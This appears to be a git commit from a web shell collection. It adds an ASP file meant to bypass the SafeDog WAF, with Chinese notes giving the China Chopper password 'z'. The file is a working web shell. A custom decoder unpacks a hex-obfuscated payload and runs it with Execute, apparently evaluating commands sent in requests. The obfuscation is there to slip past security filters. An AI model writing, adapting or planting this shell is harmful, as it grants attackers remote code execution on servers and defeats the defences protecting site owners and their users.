Create bypass_safedog_03.asp

bypass caidao 接,密码:z
可能不过狗
bypass caidao 可能含有后门,除非菜刀是内部版或非公开版
from: zone.wooyun.org
This commit is contained in:
tennc 2015-05-08 09:45:10 +08:00
parent bdc00aac7f
commit 73ec37f7e7

19
asp/bypass_safedog_03.asp Normal file
View file

@ -0,0 +1,19 @@
<%
Function Writesource(str)
Response.write(str)
End Function
Function cd(ByVal s, ByVal key)
For i = 1 To Len(s) Step 2
c = Mid(s, i, 2)
k = (i + 1) / 2 Mod Len(key) + 1
p = Mid(key, k, 1)
If IsNumeric(Mid(s, i, 1)) Then
cd = cd & Chr(("&H" & c) - p)
Else
cd = cd & Chr("&H" & c & Mid(s, i + 2, 2))
i = i + 2
End If
Next
End Function
Execute cd("6877656D2B736972786677752B237E232C2A","1314")
%>